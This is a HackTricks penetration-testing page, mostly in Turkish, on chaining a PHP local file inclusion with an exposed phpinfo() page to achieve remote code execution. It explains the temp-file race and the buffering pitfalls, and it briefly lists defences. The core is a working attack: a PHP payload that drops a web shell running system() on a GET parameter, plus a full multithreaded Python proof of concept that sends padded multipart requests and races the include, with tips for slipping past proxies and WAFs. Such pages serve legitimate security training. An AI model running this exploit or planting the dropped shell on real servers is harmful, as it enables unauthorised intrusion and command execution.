LFI to RCE via PHPInfo

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Bu tekniği kullanmak için aşağıdakilerin tamamına ihtiyacınız vardır:

  • phpinfo() çıktısını yazdıran ulaşılabilir bir sayfa.
  • Kontrolünüzde bir Local File Inclusion (LFI) primitive (ör. kullanıcı girdisi üzerinde include/require).
  • PHP file uploads etkin (file_uploads = On). Herhangi bir PHP scripti RFC1867 multipart yüklemelerini kabul eder ve yüklenen her parça için geçici bir dosya oluşturur.
  • PHP worker’ın yapılandırılmış upload_tmp_dir’e (veya varsayılan sistem geçici dizinine) yazabiliyor olması ve LFI’nizin bu yolu include edebilmesi gerekir.

Klasik write-up ve orijinal PoC:

  • Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
  • Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Orijinal PoC hakkında notlar

  • phpinfo() çıktısı HTML olarak kodlandığı için, “=>” oku sık sık “=>” şeklinde görünür. Eski scriptleri yeniden kullanıyorsanız, _FILES[tmp_name] değerini parse ederken her iki kodlamayı da aradıklarından emin olun.
  • Payload’ı (PHP kodunuz), REQ1 (phpinfo() endpoint’ine yapılan, padding’i içeren istek) ve LFIREQ (LFI sink’inize yapılan istek) uyarlamanız gerekir. Bazı hedefler null-byte (%00) terminatörüne ihtiyaç duymaz ve modern PHP sürümleri bunu dikkate almaz. LFIREQ’i vulnerable sink’e göre ayarlayın.

Example sed (only if you really use the old Python2 PoC) to match HTML-encoded arrow:

sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py

Teori

  • PHP, bir file alanı içeren multipart/form-data POST aldığında, içeriği geçici bir dosyaya (upload_tmp_dir veya OS varsayılanı) yazar ve yolu $_FILES[‘’][‘tmp_name’] içinde açığa çıkarır. Dosya, taşınmadığı/yeniden adlandırılmadığı sürece isteğin sonunda otomatik olarak silinir.
  • Hile, geçici adı öğrenip PHP silmeden önce LFI aracılığıyla onu include etmektir. phpinfo() $_FILES’i, tmp_name dahil olmak üzere, yazdırır.
  • İstek header’larını/parametrelerini (padding) şişirerek, isteğin bitmesinden önce phpinfo() çıktısının erken parçalarının istemciye flush edilmesine neden olabilirsiniz; böylece temp dosya hâlâ var iken tmp_name’i okuyup hemen ardından o yol ile LFI’yi tetikleyebilirsiniz.

Windows’ta temp dosyaları genellikle C:\Windows\Temp\php*.tmp gibi bir yerde olur. Linux/Unix’te genelde /tmp veya upload_tmp_dir ile yapılandırılmış dizindedir.

What to verify in phpinfo() before racing

  • file_uploads: On olmalı.
  • upload_tmp_dir: eğer ayarlıysa, LFI’nizin erişip include edebilmesi gereken dizin budur. Boşsa, sistem varsayılan temp dizinini bekleyin.
  • open_basedir: etkinse, zafiyetli include yolunuzun yine tmp_name içinde gösterilen temp dizinine erişebilmesi gerekir.
  • output_buffering: 4096 yaygın/varsayılan bir boyuttur ve birçok PoC’nin 4KB parçalar halinde okumasının sebebidir; ancak bu değer farklı olabilir.
  • zlib.output_compression, output_handler ve herhangi bir framework seviyesinde buffering: bunlar tmp_name’i yeterince erken görme şansını azaltır.
  • Server API: PHP ile sizin aranızda ne kadar buffering olabileceğine karar vermekte faydalıdır (apache2handler genellikle reverse proxy arkasındaki fpm-fcgi’ye göre daha kolay anlaşılır).

Eğer sayfa $_FILES’i göstermiyorsa, gerçekten bir dosya bölümü içeren bir multipart/form-data isteği gönderdiğinizden emin olun. PHP yalnızca parse edilen upload alanları için tmp_name’i doldurur.

Saldırı iş akışı (adım adım)

  1. Yarışı kaybetmemek için hızlıca bir shell kalıcı hale getirecek küçük bir PHP payload’u hazırlayın (bir dosya yazmak genelde bir reverse shell beklemekten daha hızlıdır):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
  1. Payload içeren bir geçici dosya oluşturması için büyük bir multipart POST’u doğrudan phpinfo() sayfasına gönderin. Erken çıktı oluşmasını teşvik etmek için çeşitli headers/cookies/params öğelerini ~5–10KB’lık padding ile şişirin. Form alanı adının $_FILES içinde ayrıştıracağınız isimle eşleştiğinden emin olun.

  2. phpinfo() yanıtı hâlâ akarken, kısmi gövdeyi parse edip $_FILES[‘’][‘tmp_name’] (HTML-encoded) değerini çıkarın. Tam mutlak yolu (ör. /tmp/php3Fz9aB) elde eder etmez LFI’nizi tetikleyip o yolu include edin. include() temp dosyayı silinmeden önce çalıştırırsa, payload’ınız çalışır ve /tmp/.p.php dosyasını bırakır.

  3. Bırakılan dosyayı kullanın: GET /vuln.php?include=/tmp/.p.php&x=id (ya da LFI’nizin dahil etmesine izin verdiği herhangi bir yol) ile komutları güvenilir şekilde çalıştırın.

İpuçları

  • Yarışı kazanma şansınızı artırmak için birden fazla eş zamanlı worker kullanın.
  • Genellikle yardımcı olan padding yerleştirmeleri: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Hedefe göre ayarlayın.
  • Eğer vulnerable sink bir extension ekliyorsa (ör. .php), null byte gerekmez; include() geçici dosyanın uzantısına bakmaksızın PHP’yi çalıştırır.

Minimal Python 3 PoC (socket tabanlı)

Aşağıdaki kod parçası kritik bölümlere odaklanır ve eski Python2 scriptine göre uyarlaması daha kolaydır. HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink) ve PAYLOAD öğelerini özelleştirin.

#!/usr/bin/env python3
import re, html, socket, threading

HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s'  # sprintf-style where %s will be the tmp path
THREADS = 10

PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")

REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")

LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")

pat = re.compile(r"\\[tmp_name\\]\\s*=&gt;\\s*([^\\s<]+)")


def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok

if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]

Sorun Giderme

  • You never see tmp_name: Gerçekten phpinfo()’ye multipart/form-data ile POST yaptığınızdan emin olun. phpinfo() sadece bir upload alanı bulunduğunda $_FILES’i yazdırır.
  • tmp_name appears only at the very end of the response: Bu genellikle bir buffering problemi, PHP sürümü sorunu değildir. Büyük output_buffering değerleri, zlib.output_compression, userland output handlers, veya reverse-proxy/FastCGI buffering, phpinfo() gövdesinin upload isteği neredeyse bitene kadar gecikmesine neden olabilir.
  • You only get reliable streaming in a lab, not through the real site: Bir CDN, WAF veya reverse proxy upstream yanıtı buffer’lıyor olabilir. Aynı uygulamaya birden fazla rota varsa, en doğrudan origin yolunu tercih edin.
  • The classic 4096-byte offset logic misses the leak: 4096’yı yaygın output_buffering varsayılanlarından türetilmiş bir başlangıç noktası olarak kabul edin, evrensel bir sabit olarak değil. Artan biçimde parse edin ve tmp_name tamamlanır tamamlanmaz durun.
  • The temp file is included but your shell dies immediately: Küçük bir stager kullanın ve ikinci bir dosya yazdırın; çünkü yüklenen temp dosya orijinal istek sona erdiğinde hâlâ silinecektir.
  • Output doesn’t flush early: Padding’i artırın, daha büyük header’lar ekleyin veya birden fazla eşzamanlı istek gönderin. Bazı SAPIs/buffer’lar daha büyük eşiklere kadar flush etmeyebilir; buna göre ayarlayın.
  • LFI path blocked by open_basedir or chroot: LFI’yi izin verilen bir yol gösterecek şekilde ayarlayın veya farklı bir LFI2RCE vektörüne geçin.
  • Temp directory not /tmp: phpinfo() tam mutlak tmp_name yolunu yazdırır; LFI’de o tam yolu kullanın.

Modern stack’ler için pratik notlar

  • Bu teknik modern laboratuvar ortamlarında hâlâ yeniden üretilebilir; örneğin, Vulhub PHP 7.2 üzerinde bir demonstratör bulunduruyor. Pratikte başarı, phpinfo’ya özel bir patch seviyesinden ziyade output buffering ve proxyleme’ye daha çok bağlıdır.
  • flush() ve implicit_flush sadece PHP’nin kendi output katmanını etkiler. Bir FastCGI gateway, reverse proxy, tarayıcı veya ara katmanın kısmi chunk’ları derhal serbest bırakacağını garanti etmezler.
  • Hedef Nginx/Apache proxyleme arkasındaki fpm-fcgi ise, katmanları düşünün: PHP buffer, PHP output handlers/compression, FastCGI buffering, sonra proxy buffering. Yarış yalnızca phpinfo() yanıtının istek kapanışı temp dosyayı silmeden önce bu zincirden yeterince kaçması durumunda işe yarar.

Savunma notları

  • Üretimde phpinfo()’yu asla açığa çıkarmayın. Gerekliyse IP/auth ile kısıtlayın ve kullanımdan sonra kaldırın.
  • Gerekli değilse file_uploads’u devre dışı bırakın. Aksi halde upload_tmp_dir’i uygulamada include() ile erişilemeyen bir yol olarak sınırlayın ve herhangi bir include/require yolunda sıkı doğrulama uygulayın.
  • Her LFI’yi kritik olarak değerlendirin; phpinfo() olmasa bile diğer LFI→RCE yolları mevcuttur.

İlgili HackTricks teknikleri

LFI2RCE Via temp file uploads

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

LFI2RCE via Nginx temp files

LFI2RCE via Eternal waiting

Referanslar

  • LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
  • PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
  • PHP Manual – Flushing System Buffers: https://www.php.net/manual/en/outcontrol.flushing-system-buffers.php
  • Vulhub – PHP Local File Inclusion RCE with PHPINFO: https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.md

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin